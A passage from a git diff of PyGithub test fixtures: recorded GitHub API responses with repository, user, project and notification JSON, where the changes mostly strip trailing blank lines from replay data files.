o8591","id":1151850},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/alejo8591/PyGithub.git","git_url":"git://github.com/alejo8591/PyGithub.git","created_at":"2012-08-07T03:22:07Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-04T07:01:31Z","full_name":"alejo8591/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/alejo8591/PyGithub","mirror_url":null,"ssh_url":"git@github.com:alejo8591/PyGithub.git","html_url":"https://github.com/alejo8591/PyGithub","private":false,"id":5293768,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/alejo8591/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"92a24b96be9d9ce5e608751cc0c95823","login":"jagster02","avatar_url":"https://secure.gravatar.com/avatar/92a24b96be9d9ce5e608751cc0c95823?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jagster02","id":1383412},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/jagster02/PyGithub.git","git_url":"git://github.com/jagster02/PyGithub.git","created_at":"2012-08-09T13:55:23Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-07T23:29:19Z","full_name":"jagster02/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jagster02/PyGithub","mirror_url":null,"ssh_url":"git@github.com:jagster02/PyGithub.git","html_url":"https://github.com/jagster02/PyGithub","private":false,"id":5334906,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jagster02/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"01f9109a647ef1dac0198da94d5dfc35","login":"cs2ctest","avatar_url":"https://secure.gravatar.com/avatar/01f9109a647ef1dac0198da94d5dfc35?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/cs2ctest","id":2108297},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/cs2ctest/PyGithub.git","git_url":"git://github.com/cs2ctest/PyGithub.git","created_at":"2012-08-09T19:56:03Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-09T09:00:55Z","full_name":"cs2ctest/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/cs2ctest/PyGithub","mirror_url":null,"ssh_url":"git@github.com:cs2ctest/PyGithub.git","html_url":"https://github.com/cs2ctest/PyGithub","private":false,"id":5353371,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/cs2ctest/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"83fdd59f80118ac8e56fd6f732239190","login":"feiying","avatar_url":"https://secure.gravatar.com/avatar/83fdd59f80118ac8e56fd6f732239190?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/feiying","id":1784180},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/feiying/PyGithub.git","git_url":"git://github.com/feiying/PyGithub.git","created_at":"2012-08-10T18:57:02Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-10T04:51:27Z","full_name":"feiying/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/feiying/PyGithub","mirror_url":null,"ssh_url":"git@github.com:feiying/PyGithub.git","html_url":"https://github.com/feiying/PyGithub","private":false,"id":5365056,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/feiying/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"13df3b204a5708ed557a07628ea00660","login":"tdcarrol","avatar_url":"https://secure.gravatar.com/avatar/13df3b204a5708ed557a07628ea00660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/tdcarrol","id":435947},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/tdcarrol/PyGithub.git","git_url":"git://github.com/tdcarrol/PyGithub.git","created_at":"2012-08-22T05:17:05Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-21T15:14:27Z","full_name":"tdcarrol/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/tdcarrol/PyGithub","mirror_url":null,"ssh_url":"git@github.com:tdcarrol/PyGithub.git","html_url":"https://github.com/tdcarrol/PyGithub","private":false,"id":5496795,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/tdcarrol/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","login":"xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/xobb1t","id":344095},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/xobb1t/PyGithub.git","git_url":"git://github.com/xobb1t/PyGithub.git","created_at":"2012-09-03T15:31:32Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":108,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-25T19:40:53Z","full_name":"xobb1t/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/xobb1t/PyGithub","mirror_url":null,"ssh_url":"git@github.com:xobb1t/PyGithub.git","html_url":"https://github.com/xobb1t/PyGithub","private":false,"id":5554026,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/xobb1t/PyGithub","pushed_at":"2012-08-25T19:40:53Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ad620f78a113948d4ded151e3025a3b3","login":"braincorp","avatar_url":"https://secure.gravatar.com/avatar/ad620f78a113948d4ded151e3025a3b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/braincorp","id":2085477},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/braincorp/PyGithub.git","git_url":"git://github.com/braincorp/PyGithub.git","created_at":"2012-09-03T15:31:30Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-30T06:54:52Z","full_name":"braincorp/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/braincorp/PyGithub","mirror_url":null,"ssh_url":"git@github.com:braincorp/PyGithub.git","html_url":"https://github.com/braincorp/PyGithub","private":false,"id":5611539,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/braincorp/PyGithub","pushed_at":"2012-08-23T07:38:20Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","login":"gregwjacobs","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/gregwjacobs","id":1749292},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/gregwjacobs/PyGithub.git","git_url":"git://github.com/gregwjacobs/PyGithub.git","created_at":"2012-09-03T15:31:27Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-31T13:53:17Z","full_name":"gregwjacobs/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/gregwjacobs/PyGithub","mirror_url":null,"ssh_url":"git@github.com:gregwjacobs/PyGithub.git","html_url":"https://github.com/gregwjacobs/PyGithub","private":false,"id":5629305,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/gregwjacobs/PyGithub","pushed_at":"2012-08-23T07:38:20Z"}] - diff --git a/tests/ReplayData/NamedUser.testGetWatched.txt b/tests/ReplayData/NamedUser.testGetWatched.txt index 89d2c52114..dbfaae12a4 100644 --- a/tests/ReplayData/NamedUser.testGetWatched.txt +++ b/tests/ReplayData/NamedUser.testGetWatched.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '4493'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"5894e9073dc54de74c439e23fc738fe7"'), ('date', 'Sat, 26 May 2012 10:36:30 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/abersager/PyGithub.git","has_downloads":true,"watchers":2,"updated_at":"2012-03-28T10:37:22Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/abersager/PyGithub","owner":{"url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","pushed_at":"2012-03-26T10:05:31Z","created_at":"2012-03-26T09:12:45Z","id":3831162,"mirror_url":null,"html_url":"https://github.com/abersager/PyGithub","full_name":"abersager/PyGithub"},{"clone_url":"https://github.com/django/django.git","has_downloads":true,"watchers":2391,"updated_at":"2012-05-26T10:30:33Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/django/django","has_wiki":false,"has_issues":false,"fork":false,"forks":263,"size":8408,"private":false,"open_issues":37,"svn_url":"https://github.com/django/django","owner":{"url":"https://api.github.com/users/django","avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","login":"django","id":27804},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:django/django.git","git_url":"git://github.com/django/django.git","pushed_at":"2012-05-26T09:54:24Z","created_at":"2012-04-28T02:47:18Z","id":4164482,"mirror_url":null,"html_url":"https://github.com/django/django","full_name":"django/django"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"mirror_url":null,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","git_url":"git://github.com/jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"mirror_url":null,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"}] - diff --git a/tests/ReplayData/NamedUser.testHasInFollowing.txt b/tests/ReplayData/NamedUser.testHasInFollowing.txt index f8686861f3..51d3918f7e 100644 --- a/tests/ReplayData/NamedUser.testHasInFollowing.txt +++ b/tests/ReplayData/NamedUser.testHasInFollowing.txt @@ -18,5 +18,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 17:20:48 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377108637')] - - diff --git a/tests/ReplayData/NamedUser.testUserEquality.txt b/tests/ReplayData/NamedUser.testUserEquality.txt index 78d885ed07..f2480af4ae 100644 --- a/tests/ReplayData/NamedUser.testUserEquality.txt +++ b/tests/ReplayData/NamedUser.testUserEquality.txt @@ -18,4 +18,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"66a516a2007fb7df8bbb3f9cc7cb2da8"'), ('date', 'Fri, 18 May 2012 19:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41} \ No newline at end of file +{"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41} diff --git a/tests/ReplayData/NamedUser1430.setUp.txt b/tests/ReplayData/NamedUser1430.setUp.txt index abf285c93b..cfacac2116 100644 --- a/tests/ReplayData/NamedUser1430.setUp.txt +++ b/tests/ReplayData/NamedUser1430.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 09 Mar 2020 20:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1583787082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"df3f26811bc0b8e004078ee4dff56831"'), ('Last-Modified', 'Mon, 09 Mar 2020 18:51:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE65:5225:24E50A:307321:5E66A451')] {"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false,"name":"Anuj Bansal","company":null,"blog":"https://ahhda.github.io/","location":null,"email":"bansalanuj1996@gmail.com","hireable":true,"bio":null,"public_repos":40,"public_gists":5,"followers":23,"following":58,"created_at":"2014-06-04T15:57:45Z","updated_at":"2020-03-09T18:51:05Z","private_gists":4,"total_private_repos":36,"owned_private_repos":31,"disk_usage":226412,"collaborators":10,"two_factor_authentication":false,"plan":{"name":"pro","space":976562499,"collaborators":0,"private_repos":9999}} - diff --git a/tests/ReplayData/NamedUser1430.testGetProjects.txt b/tests/ReplayData/NamedUser1430.testGetProjects.txt index 124064632e..664e99252d 100644 --- a/tests/ReplayData/NamedUser1430.testGetProjects.txt +++ b/tests/ReplayData/NamedUser1430.testGetProjects.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 09 Mar 2020 20:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1583787083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"14effeef315c8c569963ae39adc9619a"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE66:638B:8DED89:B5F000:5E66A451')] [{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4083095","html_url":"https://github.com/users/ahhda/projects/1","columns_url":"https://api.github.com/projects/4083095/columns","id":4083095,"node_id":"MDc6UHJvamVjdDQwODMwOTU=","name":"My project 1","body":"The body","number":1,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T14:15:48Z","updated_at":"2020-03-09T19:00:07Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4083137","html_url":"https://github.com/users/ahhda/projects/2","columns_url":"https://api.github.com/projects/4083137/columns","id":4083137,"node_id":"MDc6UHJvamVjdDQwODMxMzc=","name":"My project 12","body":"The body","number":2,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T14:20:51Z","updated_at":"2020-03-09T19:00:04Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084607","html_url":"https://github.com/users/ahhda/projects/3","columns_url":"https://api.github.com/projects/4084607/columns","id":4084607,"node_id":"MDc6UHJvamVjdDQwODQ2MDc=","name":"TestPyGithub","body":"This is the body","number":3,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:05Z","updated_at":"2020-03-09T19:00:01Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084610","html_url":"https://github.com/users/ahhda/projects/4","columns_url":"https://api.github.com/projects/4084610/columns","id":4084610,"node_id":"MDc6UHJvamVjdDQwODQ2MTA=","name":"TestPyGithub","body":"This is the body","number":4,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:19Z","updated_at":"2020-03-09T18:59:57Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084664","html_url":"https://github.com/users/ahhda/projects/5","columns_url":"https://api.github.com/projects/4084664/columns","id":4084664,"node_id":"MDc6UHJvamVjdDQwODQ2NjQ=","name":"My new project","body":"This is the body","number":5,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T19:00:36Z","updated_at":"2020-03-09T19:00:36Z"}] - diff --git a/tests/ReplayData/Notification.setUp.txt b/tests/ReplayData/Notification.setUp.txt index d3dc082cd3..e82a72da8c 100644 --- a/tests/ReplayData/Notification.setUp.txt +++ b/tests/ReplayData/Notification.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:46:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1539890344'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/""'), ('Last-Modified', 'Thu, 18 Oct 2018 18:29:47 GMT'), ('X-Poll-Interval', '60'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B148:4C25:2AC480C:58CB140:5BC8D522')] [{"id":"397777914","unread":true,"reason":"subscribed","updated_at":"2018-10-18T18:29:47Z","last_read_at":"2018-10-18T13:20:08Z","subject":{"title":"chore: Add more repos migrated on Quay","url":"https://api.github.com/repos/dailymotion/jarvis/pulls/103","latest_comment_url":"https://api.github.com/repos/dailymotion/jarvis/pulls/103","type":"PullRequest"},"repository":{"id":117231874,"node_id":"MDEwOlJlcG9zaXRvcnkxMTcyMzE4NzQ=","name":"jarvis","full_name":"dailymotion/jarvis","private":true,"owner":{"login":"dailymotion","id":115313,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTMxMw==","avatar_url":"https://avatars2.githubusercontent.com/u/115313?v=4","gravatar_id":"","url":"https://api.github.com/users/dailymotion","html_url":"https://github.com/dailymotion","followers_url":"https://api.github.com/users/dailymotion/followers","following_url":"https://api.github.com/users/dailymotion/following{/other_user}","gists_url":"https://api.github.com/users/dailymotion/gists{/gist_id}","starred_url":"https://api.github.com/users/dailymotion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dailymotion/subscriptions","organizations_url":"https://api.g